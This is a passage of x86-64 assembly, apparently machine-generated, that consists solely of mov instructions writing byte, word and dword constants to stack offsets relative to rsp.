mov byte [rsp + 0x219], 0x20
mov byte [rsp + 0x21a], 0xa8
mov dword [rsp + 0x625c], 0x1cd5ac9b
mov byte [rsp + 0x21b], 3
mov dword [rsp + 0x6260], 0x822
mov dword [rsp + 0x6264], 0xc4ac
mov byte [rsp + 0x21c], 0x44
mov dword [rsp + 0x6268], 0x609dee30
mov byte [rsp + 0x21d], 0x15
mov dword [rsp + 0x626c], 0xb907
mov dword [rsp + 0x6270], 0x43cf
mov eax, 0x653
mov word [rsp + 0x1704], ax
mov byte [rsp + 0x21e], 0xce
mov dword [rsp + 0x6274], 0x739e4362
mov eax, 0x42e
mov word [rsp + 0x1708], ax
mov eax, 0x4b8
mov word [rsp + 0x170c], ax
mov eax, 0xb32
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x21f], 0x92
mov dword [rsp + 0x6278], 0x2f0318c3
mov eax, 0x2a2
mov word [rsp + 0x1714], ax
mov dword [rsp + 0x627c], 0xce91
mov byte [rsp + 0x220], 0x62
mov eax, 0xba0
mov word [rsp + 0x1718], ax
mov dword [rsp + 0x6280], 0x5da499f8
mov byte [rsp + 0x221], 0xa2
mov byte [rsp + 0x222], 0x5f
mov dword [rsp + 0x6284], 0x7427a829
mov byte [rsp + 0x223], 0x7e
mov byte [rsp + 0x224], 0x41
mov dword [rsp + 0x6288], 0x607f
mov dword [rsp + 0x628c], 0x1357
mov dword [rsp + 0x6290], 0xbc70
mov eax, 0xd93
mov word [rsp + 0x171c], ax
mov eax, 0xbf2
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x6294], 0x9884
mov eax, 0xe13
mov word [rsp + 0x1724], ax
mov dword [rsp + 0x6298], 0x2d1e
mov dword [rsp + 0x629c], 0x3a511f0e
mov byte [rsp + 0x225], 0xe
mov dword [rsp + 0x62a0], 0xda37
mov byte [rsp + 0x226], 0x67
mov dword [rsp + 0x62a4], 0x501a76d0
mov dword [rsp + 0x62a8], 0x4402b5ac
mov dword [rsp + 0x62ac], 0x4568e8
mov dword [rsp + 0x62b0], 0x32242304
mov dword [rsp + 0x62b4], 0x7647c17d
mov eax, 0x14c
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x62b8], 0xba62
mov eax, 0xe4c
mov word [rsp + 0x172c], ax
mov eax, 0xf74
mov word [rsp + 0x1730], ax
mov dword [rsp + 0x62bc], 0x4f24722e
mov byte [rsp + 0x227], 0x41
mov byte [rsp + 0x228], 0x68
mov byte [rsp + 0x229], 0x61
mov dword [rsp + 0x62c0], 0x4574488d
mov dword [rsp + 0x62c4], 0x5c56d2dc
mov dword [rsp + 0x62c8], 0x4097760c
mov byte [rsp + 0x22a], 0x74
mov eax, 0x79e
mov word [rsp + 0x1734], ax
mov dword [rsp + 0x62cc], 0x3cacf5b8
mov dword [rsp + 0x62d0], 0x24764f04
mov dword [rsp + 0x62d4], 0x457d
mov byte [rsp + 0x22b], 0xe8
mov byte [rsp + 0x22c], 0x6e
mov eax, 0xe96
mov word [rsp + 0x1738], ax
mov dword [rsp + 0x62d8], 0xe675
mov eax, 0xf52
mov word [rsp + 0x173c], ax
mov dword [rsp + 0x62dc], 0xb7c7
mov dword [rsp + 0x62e0], 0x54e399e2
mov byte [rsp + 0x22d], 0x80
mov dword [rsp + 0x62e4], 0xd61a
mov dword [rsp + 0x62e8], 0x51602da
mov dword [rsp + 0x62ec], 0x6161f58b
mov eax, 0x51a
mov word [rsp + 0x1740], ax
mov dword [rsp + 0x62f0], 0xe9c0417
mov dword [rsp + 0x62f4], 0x107de986
mov eax, 0x159
mov word [rsp + 0x1744], ax
mov dword [rsp + 0x62f8], 0x3bb8
mov byte [rsp + 0x22e], 0x27
mov dword [rsp + 0x62fc], 0x5a2380b8
mov dword [rsp + 0x6300], 0x623fdd92
mov dword [rsp + 0x6304], 0x971f
mov eax, 0x34d
mov word [rsp + 0x1748], ax
mov eax, 0x1bb
mov word [rsp + 0x174c], ax
mov byte [rsp + 0x22f], 0xe3
mov eax, 0x13d
mov word [rsp + 0x1750], ax
mov dword [rsp + 0x6308], 0x7128d99d
mov eax, 0x7de
mov word [rsp + 0x1754], ax
mov dword [rsp + 0x630c], 0x4d5e5292
mov dword [rsp + 0x6310], 0x68ff0cc1
mov dword [rsp + 0x6314], 0x1476
mov byte [rsp + 0x230], 0x4f
mov dword [rsp + 0x6318], 0x4671277a
mov dword [rsp + 0x631c], 0x1a66
mov dword [rsp + 0x6320], 0x4dd1d20f
mov eax, 9
mov word [rsp + 0x1758], ax
mov dword [rsp + 0x6324], 0xd417
mov byte [rsp + 0x231], 0x6c
mov eax, 0x192
mov word [rsp + 0x175c], ax
mov dword [rsp + 0x6328], 0x2f32bafb
mov dword [rsp + 0x632c], 0x3a0a84ff
mov dword [rsp + 0x6330], 0x50b73762
mov dword [rsp + 0x6334], 0x2c7e49d0
mov dword [rsp + 0x6338], 0x1eb73e37
mov dword [rsp + 0x633c], 0x2fbca631
mov eax, 0x21d
mov word [rsp + 0x1760], ax
mov dword [rsp + 0x6340], 0x4237d9d
mov eax, 0x204
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x6344], 0xbcef
mov eax, 0x61b
mov word [rsp + 0x1768], ax
mov byte [rsp + 0x232], 0x4e
mov dword [rsp + 0x6348], 0x5faa
mov byte [rsp + 0x233], 0x20
mov eax, 0x96d
mov word [rsp + 0x176c], ax
mov eax, 0x314
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x634c], 0x6d58
mov byte [rsp + 0x234], 0xf5
mov dword [rsp + 0x6350], 0x2ce42038
mov byte [rsp + 0x235], 0x10
mov dword [rsp + 0x6354], 0x20f36aeb
mov byte [rsp + 0x236], 0x79
mov eax, 0x3f7
mov word [rsp + 0x1774], ax
mov byte [rsp + 0x237], 0xe
mov dword [rsp + 0x6358], 0xf320
mov dword [rsp + 0x635c], 0x477e
mov dword [rsp + 0x6360], 0x4e835652
mov eax, 0x71e
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x6364], 0x2503be53
mov dword [rsp + 0x6368], 0x2ff20dba
mov eax, 0x5af
mov word [rsp + 0x177c], ax
mov dword [rsp + 0x636c], 0x3fadf2f5
mov dword [rsp + 0x6370], 0x39a8ebc1
mov dword [rsp + 0x6374], 0x634549cc
mov dword [rsp + 0x6378], 0x32ca572f
mov dword [rsp + 0x637c], 0x323a5620
mov dword [rsp + 0x6380], 0x73c121a4
mov eax, 0x683
mov word [rsp + 0x1780], ax
mov dword [rsp + 0x6384], 0x29e10054
mov eax, 0xff1
mov word [rsp + 0x1784], ax
mov byte [rsp + 0x238], 0x77
mov eax, 0x830
mov word [rsp + 0x1788], ax
mov dword [rsp + 0x6388], 0x2e223015
mov eax, 0xa46
mov word [rsp + 0x178c], ax
mov eax, 0x50a
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x638c], 0x6300e864
mov dword [rsp + 0x6390], 0x6dc9bf61
mov byte [rsp + 0x239], 0x13
mov eax, 0x602
mov word [rsp + 0x1794], ax
mov byte [rsp + 0x23a], 0xb3
mov byte [rsp + 0x23b], 0x31
mov eax, 0xb29
mov word [rsp + 0x1798], ax
mov dword [rsp + 0x6394], 0x427391a3
mov dword [rsp + 0x6398], 0x3fc65091
mov dword [rsp + 0x639c], 0xccc
mov dword [rsp + 0x63a0], 0x215f8fa8
mov dword [rsp + 0x63a4], 0x45d73351
mov dword [rsp + 0x63a8], 0x202e7e96
mov dword [rsp + 0x63ac], 0x9f4a
mov dword [rsp + 0x63b0], 0x25bd
mov dword [rsp + 0x63b4], 0x1b65
mov eax, 0x57c
mov word [rsp + 0x179c], ax
mov dword [rsp + 0x63b8], 0x85db
mov dword [rsp + 0x63bc], 0x1482e1eb
mov byte [rsp + 0x23c], 0x39
mov dword [rsp + 0x63c0], 0x4d1f4775
mov eax, 0xc43
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x63c4], 0x533e8d85
mov byte [rsp + 0x23d], 0x58
mov dword [rsp + 0x63c8], 0xcc69
mov eax, 0x445
mov word [rsp + 0x17a4], ax
mov dword [rsp + 0x63cc], 0x1b51a89a
mov dword [rsp + 0x63d0], 0x58e465be
mov eax, 0x16e
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x63d4], 0x2bff09da
mov dword [rsp + 0x63d8], 0x73c08e6
mov eax, 0xd93
mov word [rsp + 0x17ac], ax
mov eax, 0x140
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x63dc], 0xbea
mov dword [rsp + 0x63e0], 0xaae4
mov dword [rsp + 0x63e4], 0xdec1
mov byte [rsp + 0x23e], 0xc6
mov byte [rsp + 0x23f], 0x11
mov dword [rsp + 0x63e8], 0x10e81ed
mov dword [rsp + 0x63ec], 0x5c453ca5
mov dword [rsp + 0x63f0], 0x31253700
mov dword [rsp + 0x63f4], 0xf01b
mov eax, 0xc6
mov word [rsp + 0x17b4], ax
mov byte [rsp + 0x240], 0xc0
mov dword [rsp + 0x63f8], 0xe7ed6e5
mov dword [rsp + 0x63fc], 0x91ab
mov eax, 0xe03
mov word [rsp + 0x17b8], ax
mov dword [rsp + 0x6400], 0x6b84b3
mov dword [rsp + 0x6404], 0x47fa9625
mov byte [rsp + 0x241], 0xe6
mov eax, 0x235
mov word [rsp + 0x17bc], ax
mov dword [rsp + 0x6408], 0x1634453d
mov dword [rsp + 0x640c], 0x752b
mov dword [rsp + 0x6410], 0x5df072e5
mov dword [rsp + 0x6414], 0x1e9443ad
mov dword [rsp + 0x6418], 0xd143
mov eax, 0x68a
mov word [rsp + 0x17c0], ax
mov dword [rsp + 0x641c], 0x76ab2c15
mov eax, 0x2aa
mov word [rsp + 0x17c4], ax
mov dword [rsp + 0x6420], 0x2b133863
mov byte [rsp + 0x242], 0x6f
mov eax, 0x739
mov word [rsp + 0x17c8], ax
mov eax, 0x147
mov word [rsp + 0x17cc], ax
mov eax, 0x1d0
mov word [rsp + 0x17d0], ax
mov dword [rsp + 0x6424], 0x32520781
mov byte [rsp + 0x243], 0x63
mov dword [rsp + 0x6428], 0x21457ec4
mov byte [rsp + 0x244], 0x42
mov eax, 0xc43
mov word [rsp + 0x17d4], ax
mov dword [rsp + 0x642c], 0x16d766d5
mov dword [rsp + 0x6430], 0x3554f13f
mov byte [rsp + 0x245], 0x2a
mov dword [rsp + 0x6434], 0xea4b
mov byte [rsp + 0x246], 0x71
mov byte [rsp + 0x247], 0x8a
mov dword [rsp + 0x6438], 0xde5d
mov byte [rsp + 0x248], 0x5c
mov dword [rsp + 0x643c], 0x5be4d3bb
mov dword [rsp + 0x6440], 0x3700476c
mov dword [rsp + 0x6444], 0x408f
mov dword [rsp + 0x6448], 0x7bd62529
mov dword [rsp + 0x644c], 0x7f3cb340
mov byte [rsp + 0x249], 0x49
mov byte [rsp + 0x24a], 0x51
mov dword [rsp + 0x6450], 0xcc25
mov eax, 0x57e
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x6454], 0x11be
mov dword [rsp + 0x6458], 0xe5cc
mov dword [rsp + 0x645c], 0x9e12
mov dword [rsp + 0x6460], 0x4e4bd2b8
mov dword [rsp + 0x6464], 0x72495a69
mov dword [rsp + 0x6468], 0x313b7981
mov eax, 0x5e3
mov word [rsp + 0x17dc], ax
mov eax, 0x911
mov word [rsp + 0x17e0], ax
mov dword [rsp + 0x646c], 0x6ae112db
mov byte [rsp + 0x24b], 0x55
mov dword [rsp + 0x6470], 0x60e2
mov eax, 0x40d
mov word [rsp + 0x17e4], ax
mov dword [rsp + 0x6474], 0x3da05db4
mov dword [rsp + 0x6478], 0x18748d01
mov dword [rsp + 0x647c], 0x6376
mov dword [rsp + 0x6480], 0x4c3dde16
mov dword [rsp + 0x6484], 0x7c6f21c1
mov byte [rsp + 0x24c], 0x96
mov dword [rsp + 0x6488], 0x3d647fce
mov byte [rsp + 0x24d], 0x78
mov dword [rsp + 0x648c], 0x7f0da67
mov dword [rsp + 0x6490], 0x2dd363a7
mov byte [rsp + 0x24e], 0xa4
mov dword [rsp + 0x6494], 0x740aefa8
mov dword [rsp + 0x6498], 0xd771
mov dword [rsp + 0x649c], 0xbde1
mov dword [rsp + 0x64a0], 0x2db06f7d
mov dword [rsp + 0x64a4], 0x784f
mov dword [rsp + 0x64a8], 0x6df3
mov eax, 0xad6
mov word [rsp + 0x17e8], ax
mov dword [rsp + 0x64ac], 0x6b5bf03e
mov byte [rsp + 0x24f], 0xc4
mov byte [rsp + 0x250], 0xd7
mov byte [rsp + 0x251], 0x35
mov dword [rsp + 0x64b0], 0x3e42f0d7
mov dword [rsp + 0x64b4], 0xf635
mov dword [rsp + 0x64b8], 0x7c736b8f
mov dword [rsp + 0x64bc], 0x9dce
mov dword [rsp + 0x64c0], 0x7f6af3ef
mov dword [rsp + 0x64c4], 0xe9ed
mov byte [rsp + 0x252], 0x3b
mov dword [rsp + 0x64c8], 0x5963b4bb
mov eax, 0x8f4
mov word [rsp + 0x17ec], ax
mov eax, 0x93
mov word [rsp + 0x17f0], ax
mov byte [rsp + 0x253], 0x6c
mov byte [rsp + 0x254], 0x57
mov dword [rsp + 0x64cc], 0x76e2
mov byte [rsp + 0x255], 0x55
mov byte [rsp + 0x256], 0x65
mov eax, 0xc44
mov word [rsp + 0x17f4], ax
mov byte [rsp + 0x257], 0xb6
mov dword [rsp + 0x64d0], 0x2f80
mov dword [rsp + 0x64d4], 0x634f
mov dword [rsp + 0x64d8], 0x655dfdf9
mov eax, 0x5f9
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x64dc], 0x6f906931
mov dword [rsp + 0x64e0], 0xd574
mov byte [rsp + 0x258], 0xe0
mov dword [rsp + 0x64e4], 0x53ad
mov dword [rsp + 0x64e8], 0x46ced822
mov dword [rsp + 0x64ec], 0x5aecc598
mov eax, 0x475
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x64f0], 0x7db4
mov dword [rsp + 0x64f4], 0x8b86
mov dword [rsp + 0x64f8], 0x5449
mov dword [rsp + 0x64fc], 0x111c8f2b
mov dword [rsp + 0x6500], 0xfc3e
mov eax, 0x5f3
mov word [rsp + 0x1800], ax
mov dword [rsp + 0x6504], 0x52fb14d7
mov byte [rsp + 0x259], 6
mov byte [rsp + 0x25a], 0xc0
mov eax, 0xf5e
mov word [rsp + 0x1804], ax
mov dword [rsp + 0x6508], 0x5307
mov eax, 0x9e0
mov word [rsp + 0x1808], ax
mov dword [rsp + 0x650c], 0xb1f6
mov dword [rsp + 0x6510], 0x6ccd432a
mov eax, 0x368
mov word [rsp + 0x180c], ax
mov eax, 0x7fe
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x6514], 0x903e
mov dword [rsp + 0x6518], 0x31f251bc
mov dword [rsp + 0x651c], 0x5a64
mov dword [rsp + 0x6520], 0x734b9dd0
mov dword [rsp + 0x6524], 0x997f01b
mov dword [rsp + 0x6528], 0x1cd1de13
mov dword [rsp + 0x652c], 0xea2b
mov dword [rsp + 0x6530], 0x49b0e038
mov dword [rsp + 0x6534], 0x7511e544
mov dword [rsp + 0x6538], 0x7d24
mov eax, 0x3f8
mov word [rsp + 0x1814], ax
mov byte [rsp + 0x25b], 0x78
mov dword [rsp + 0x653c], 0xe180
mov dword [rsp + 0x6540], 0x431b9aee
mov byte [rsp + 0x25c], 0xa
mov dword [rsp + 0x6544], 0x5d968d5e
mov eax, 0x27f
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x6548], 0x7a199355
mov dword [rsp + 0x654c], 0xd950
mov dword [rsp + 0x6550], 0xf85cab0
mov eax, 0xdff
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x6554], 0xa0e3
mov dword [rsp + 0x6558], 0x9ffab5a
mov dword [rsp + 0x655c], 0xe7f0d6e
mov dword [rsp + 0x6560], 0x2b0d2e8f
mov dword [rsp + 0x6564], 0xb067
mov dword [rsp + 0x6568], 0x1051
mov eax, 0xd4d
mov word [rsp + 0x1820], ax
mov byte [rsp + 0x25d], 0xea
mov dword [rsp + 0x656c], 0x5c839217
mov eax, 0x79d
mov word [rsp + 0x1824], ax
mov dword [rsp + 0x6570], 0x52c92c84
mov dword [rsp + 0x6574], 0xac45
mov byte [rsp + 0x25e], 0xc3
mov dword [rsp + 0x6578], 0x4a669b1f
mov dword [rsp + 0x657c], 0x7887e98
mov dword [rsp + 0x6580], 0x753fcab4
mov dword [rsp + 0x6584], 0x73064448
mov dword [rsp + 0x6588], 0x10e6
mov dword [rsp + 0x658c], 0x47dc
mov dword [rsp + 0x6590], 0x7da7
mov eax, 0x364
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x6594], 0x8d37
mov eax, 0x288
mov word [rsp + 0x182c], ax
mov byte [rsp + 0x25f], 0x44
mov eax, 0x71d
mov word [rsp + 0x1830], ax
mov dword [rsp + 0x6598], 0x3267
mov byte [rsp + 0x260], 0x21
mov dword [rsp + 0x659c], 0x4e8b4c38
mov eax, 0x656
mov word [rsp + 0x1834], ax
mov byte [rsp + 0x261], 0x2e
mov dword [rsp + 0x65a0], 0x6199aa1f
mov dword [rsp + 0x65a4], 0x8f6b
mov byte [rsp + 0x262], 0x7e
mov byte [rsp + 0x263], 0x14
mov eax, 0x2ed
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x65a8], 0xe4b0671
mov dword [rsp + 0x65ac], 0xa027508
mov dword [rsp + 0x65b0], 0x17c9
mov eax, 0x152
mov word [rsp + 0x183c], ax
mov eax, 0x6f8
mov word [rsp + 0x1840], ax
mov eax, 0xefd
mov word [rsp + 0x1844], ax
mov byte [rsp + 0x264], 4
mov byte [rsp + 0x265], 0x45
mov dword [rsp + 0x65b4], 0x30fe86a7
mov byte [rsp + 0x266], 0x14
mov dword [rsp + 0x65b8], 0x24878d89
mov dword [rsp + 0x65bc], 0x61dd6a78
mov dword [rsp + 0x65c0], 0x125259f6
mov dword [rsp + 0x65c4], 0x3611
mov dword [rsp + 0x65c8], 0x45ec4246
mov dword [rsp + 0x65cc], 0x7b967d50
mov byte [rsp + 0x267], 0xe4
mov dword [rsp + 0x65d0], 0xd29f
mov dword [rsp + 0x65d4], 0xc10
mov dword [rsp + 0x65d8], 0x16d0
mov dword [rsp + 0x65dc], 0x637ced81
mov dword [rsp + 0x65e0], 0x2947ae6c
mov eax, 0xc41
mov word [rsp + 0x1848], ax
mov dword [rsp + 0x65e4], 0x5e029ba0
mov dword [rsp + 0x65e8], 0x19f37854
mov byte [rsp + 0x268], 0x23
mov byte [rsp + 0x269], 0xd7
mov eax, 0x4f4
mov word [rsp + 0x184c], ax
mov dword [rsp + 0x65ec], 0x16f47f3
mov dword [rsp + 0x65f0], 0x16c4
mov dword [rsp + 0x65f4], 0x7166
mov dword [rsp + 0x65f8], 0x459be9cc
mov eax, 0x9a
mov word [rsp + 0x1850], ax
mov dword [rsp + 0x65fc], 0xc43d
mov dword [rsp + 0x6600], 0x52a72a63
mov byte [rsp + 0x26a], 0x6d
mov dword [rsp + 0x6604], 0x5d0f2982
mov dword [rsp + 0x6608], 0x9301
mov dword [rsp + 0x660c], 0x593c7158
mov dword [rsp + 0x6610], 0x79cd
mov eax, 0x6d5
mov word [rsp + 0x1854], ax
mov eax, 0x681
mov word [rsp + 0x1858], ax
mov eax, 0xe41
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x6614], 0x8919
mov dword [rsp + 0x6618], 0x2df15564
mov eax, 0x38a
mov word [rsp + 0x1860], ax
mov dword [rsp + 0x661c], 0x3f2bc85b
mov dword [rsp + 0x6620], 0x65bb
mov dword [rsp + 0x6624], 0x677c4170
mov byte [rsp + 0x26b], 0x8c
mov eax, 0x4e
mov word [rsp + 0x1864], ax
mov byte [rsp + 0x26c], 0xf
mov dword [rsp + 0x6628], 0x67023bc
mov eax, 0x687
mov word [rsp + 0x1868], ax
mov eax, 0xc3
mov word [rsp + 0x186c], ax
mov eax, 0xa88
mov word [rsp + 0x1870], ax
mov byte [rsp + 0x26d], 0x44
mov eax, 0x29a
mov word [rsp + 0x1874], ax
mov byte [rsp + 0x26e], 0x6f
mov dword [rsp + 0x662c], 0x63fa4d6
mov dword [rsp + 0x6630], 0x556cc000
mov dword [rsp + 0x6634], 0x55b7
mov dword [rsp + 0x6638], 0x4eafc2d2
mov dword [rsp + 0x663c], 0x8536
mov eax, 0x45d
mov word [rsp + 0x1878], ax
mov byte [rsp + 0x26f], 0x74
mov dword [rsp + 0x6640], 0x3c8060d5
mov dword [rsp + 0x6644], 0x638c340c
mov dword [rsp + 0x6648], 0xc558
mov byte [rsp + 0x270], 0x51
mov eax, 0x218
mov word [rsp + 0x187c], ax
mov dword [rsp + 0x664c], 0xf59f
mov eax, 0x781
mov word [rsp + 0x1880], ax
mov dword [rsp + 0x6650], 0x427a28a
mov eax, 0x4b3
mov word [rsp + 0x1884], ax
mov dword [rsp + 0x6654], 0x62ef1f76
mov dword [rsp + 0x6658], 0xff33
mov dword [rsp + 0x665c], 0xb17c
mov dword [rsp + 0x6660], 0x7291f497
mov eax, 0x72a
mov word [rsp + 0x1888], ax
mov eax, 0xae9
mov word [rsp + 0x188c], ax
mov byte [rsp + 0x271], 0x71
mov dword [rsp + 0x6664], 0x6591b917
mov eax, 0x7ee
mov word [rsp + 0x1890], ax
mov dword [rsp + 0x6668], 0x3f5166a9
mov eax, 0x469
mov word [rsp + 0x1894], ax
mov dword [rsp + 0x666c], 0xea70
mov dword [rsp + 0x6670], 0x1895c60a
mov dword [rsp + 0x6674], 0x50a9142e
mov byte [rsp + 0x272], 0x1f
mov byte [rsp + 0x273], 0x6f
mov byte [rsp + 0x274], 5
mov dword [rsp + 0x6678], 0x2dfc2cbc
mov byte [rsp + 0x275], 0xa
mov dword [rsp + 0x667c], 0x9274
mov dword [rsp + 0x6680], 0x5e9df06d
mov dword [rsp + 0x6684], 0x7448b87a
mov byte [rsp + 0x276], 0x94
mov dword [rsp + 0x6688], 0x6f2015bb
mov eax, 0x3a7
mov word [rsp + 0x1898], ax
mov dword [rsp + 0x668c], 0x357643a2
mov dword [rsp + 0x6690], 0x52f9
mov eax, 0x2db
mov word [rsp + 0x189c], ax
mov dword [rsp + 0x6694], 0xcdcc
mov byte [rsp + 0x277], 0xb8
mov byte [rsp + 0x278], 6
mov eax, 0x11b
mov word [rsp + 0x18a0], ax
mov eax, 0xa66
mov word [rsp + 0x18a4], ax
mov eax, 0x55d
mov word [rsp + 0x18a8], ax
mov eax, 0x110
mov word [rsp + 0x18ac], ax
mov dword [rsp + 0x6698], 0x27adf183
mov eax, 0x890
mov word [rsp + 0x18b0], ax
mov dword [rsp + 0x669c], 0xb641
mov dword [rsp + 0x66a0], 0x1b05aa40
mov dword [rsp + 0x66a4], 0x89c3
mov dword [rsp + 0x66a8], 0x73315e95
mov dword [rsp + 0x66ac], 0x66419c30
mov dword [rsp + 0x66b0], 0x6048f10c
mov byte [rsp + 0x279], 0x3e
mov dword [rsp + 0x66b4], 0xf9fc
mov byte [rsp + 0x27a], 0x58
mov eax, 0xc9b
mov word [rsp + 0x18b4], ax
mov dword [rsp + 0x66b8], 0x301b00df
mov dword [rsp + 0x66bc], 0x8b9d
mov dword [rsp + 0x66c0], 0x7ac3687b
mov dword [rsp + 0x66c4], 0x1d401e4a
mov eax, 0x484
mov word [rsp + 0x18b8], ax
mov byte [rsp + 0x27b], 0xe2
mov dword [rsp + 0x66c8], 0x7cd4c4e0
mov eax, 0xc84
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x66cc], 0x2f71faad
mov dword [rsp + 0x66d0], 0x4e169ed4
mov dword [rsp + 0x66d4], 0x34c8d4f6
mov eax, 0x64f
mov word [rsp + 0x18c0], ax
mov dword [rsp + 0x66d8], 0x2e087ed7
mov dword [rsp + 0x66dc], 0xd84a
mov dword [rsp + 0x66e0], 0x21f3f504
mov dword [rsp + 0x66e4], 0xed29
mov eax, 0x293
mov word [rsp + 0x18c4], ax
mov dword [rsp + 0x66e8], 0x5db79cff
mov dword [rsp + 0x66ec], 0x39b3
mov eax, 0x58a
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x27c], 0x75
mov eax, 0x897
mov word [rsp + 0x18cc], ax
mov byte [rsp + 0x27d], 0x52
mov eax, 0x2d5
mov word [rsp + 0x18d0], ax
mov dword [rsp + 0x66f0], 0xf26b
mov dword [rsp + 0x66f4], 0x84a0
mov eax, 0x6bc
mov word [rsp + 0x18d4], ax
mov dword [rsp + 0x66f8], 0x5ade6bd2
mov eax, 0x3cf
mov word [rsp + 0x18d8], ax
mov dword [rsp + 0x66fc], 0x40c2
mov dword [rsp + 0x6700], 0x1d057c82
mov byte [rsp + 0x27e], 0x7b
mov dword [rsp + 0x6704], 0x952a
mov dword [rsp + 0x6708], 0x7f67286d
mov dword [rsp + 0x670c], 0x4a6282fc
mov byte [rsp + 0x27f], 6
mov dword [rsp + 0x6710], 0x6bdc
mov dword [rsp + 0x6714], 0x7d18c1d4
mov dword [rsp + 0x6718], 0x1bffb9b9
mov byte [rsp + 0x280], 0x76
mov dword [rsp + 0x671c], 0xbb94
mov dword [rsp + 0x6720], 0x6eea
mov dword [rsp + 0x6724], 0x678e3592
mov dword [rsp + 0x6728], 0x121a38d3
mov byte [rsp + 0x281], 0x74
mov byte [rsp + 0x282], 0xcf
mov dword [rsp + 0x672c], 0x3b32
mov dword [rsp + 0x6730], 0x4586958f
mov dword [rsp + 0x6734], 0x53b73eb8
mov dword [rsp + 0x6738], 0x303df990
mov byte [rsp + 0x283], 0xfa
mov dword [rsp + 0x673c], 0x6ae624ff
mov dword [rsp + 0x6740], 0x6e5a0b2d
mov dword [rsp + 0x6744], 0x394943a3
mov dword [rsp + 0x6748], 0x4006e929
mov dword [rsp + 0x674c], 0x2dc44791
mov dword [rsp + 0x6750], 0x157
mov byte [rsp + 0x284], 0x7d
mov byte [rsp + 0x285], 0x66
mov eax, 0xf4b
mov word [rsp + 0x18dc], ax
mov dword [rsp + 0x6754], 0x6738e130
mov byte [rsp + 0x286], 0x6a
mov dword [rsp + 0x6758], 0x2ba9d01
mov dword [rsp + 0x675c], 0x44cd7149
mov eax, 0x24d
mov word [rsp + 0x18e0], ax
mov eax, 0x50b
mov word [rsp + 0x18e4], ax
mov dword [rsp + 0x6760], 0x6f3715ae
mov dword [rsp + 0x6764], 0xe257
mov byte [rsp + 0x287], 0x27
mov eax, 0xeb0
mov word [rsp + 0x18e8], ax
mov dword [rsp + 0x6768], 0x5decbe0
mov eax, 0xa56
mov word [rsp + 0x18ec], ax
mov dword [rsp + 0x676c], 0xf303
mov eax, 0xab9
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x6770], 0x4caeb0a
mov eax, 0x475
mov word [rsp + 0x18f4], ax
mov dword [rsp + 0x6774], 0x549ad910
mov eax, 0x344
mov word [rsp + 0x18f8], ax
mov dword [rsp + 0x6778], 0x1917d731
mov dword [rsp + 0x677c], 0xf8d1219
mov dword [rsp + 0x6780], 0xf2cc
mov eax, 0xac9
mov word [rsp + 0x18fc], ax
mov byte [rsp + 0x288], 0x70
mov byte [rsp + 0x289], 0x23
mov byte [rsp + 0x28a], 0xf5
mov dword [rsp + 0x6784], 0x9d76
mov byte [rsp + 0x28b], 0x43
mov eax, 0x2f7
mov word [rsp + 0x1900], ax
mov dword [rsp + 0x6788], 0x29a5
mov byte [rsp + 0x28c], 0x31
mov dword [rsp + 0x678c], 0x1f21062
mov dword [rsp + 0x6790], 0x7a670210
mov dword [rsp + 0x6794], 0x45fc
mov dword [rsp + 0x6798], 0x63ca88b1
mov eax, 0x5b6
mov word [rsp + 0x1904], ax
mov eax, 0x34e
mov word [rsp + 0x1908], ax
mov dword [rsp + 0x679c], 0x6ae7
mov dword [rsp + 0x67a0], 0x51656c78
mov byte [rsp + 0x28d], 0x25
mov eax, 0x427
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x67a4], 0xae15
mov dword [rsp + 0x67a8], 0x227aec13
mov dword [rsp + 0x67ac], 0x53c3
mov dword [rsp + 0x67b0], 0xdb1a481
mov dword [rsp + 0x67b4], 0x63b3564a
mov dword [rsp + 0x67b8], 0x5053b6e2
mov byte [rsp + 0x28e], 0x60
mov eax, 0x723
mov word [rsp + 0x1910], ax
mov dword [rsp + 0x67bc], 0x14fb7a70
mov dword [rsp + 0x67c0], 0x2c852a8a
mov dword [rsp + 0x67c4], 0x1748c41c
mov dword [rsp + 0x67c8], 0x1e3cb6ef
mov byte [rsp + 0x28f], 0x92
mov byte [rsp + 0x290], 0xe7
mov dword [rsp + 0x67cc], 0x61d52eb4
mov eax, 0xc7f
mov word [rsp + 0x1914], ax
mov dword [rsp + 0x67d0], 0x47f69226
mov dword [rsp + 0x67d4], 0x7bdfb2c4
mov byte [rsp + 0x291], 0xb6
mov dword [rsp + 0x67d8], 0x23b6
mov dword [rsp + 0x67dc], 0xd34ffca
mov dword [rsp + 0x67e0], 0x4c9ccffd
mov dword [rsp + 0x67e4], 0x3fc0
mov dword [rsp + 0x67e8], 0x875c
mov dword [rsp + 0x67ec], 0x2da8995f
mov dword [rsp + 0x67f0], 0x6b6a
mov dword [rsp + 0x67f4], 0x23e82689
mov dword [rsp + 0x67f8], 0x40eff61b
mov eax, 0x234
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x67fc], 0x58a5
mov dword [rsp + 0x6800], 0x549c
mov dword [rsp + 0x6804], 0x303cbd97
mov eax, 0x41a
mov word [rsp + 0x191c], ax
mov dword [rsp + 0x6808], 0x6907
mov byte [rsp + 0x292], 0x34
mov byte [rsp + 0x293], 0xd2
mov dword [rsp + 0x680c], 0x21023064
mov dword [rsp + 0x6810], 0x43904d3e
mov dword [rsp + 0x6814], 0x137f
mov dword [rsp + 0x6818], 0xbe91
mov dword [rsp + 0x681c], 0x6d7253ca
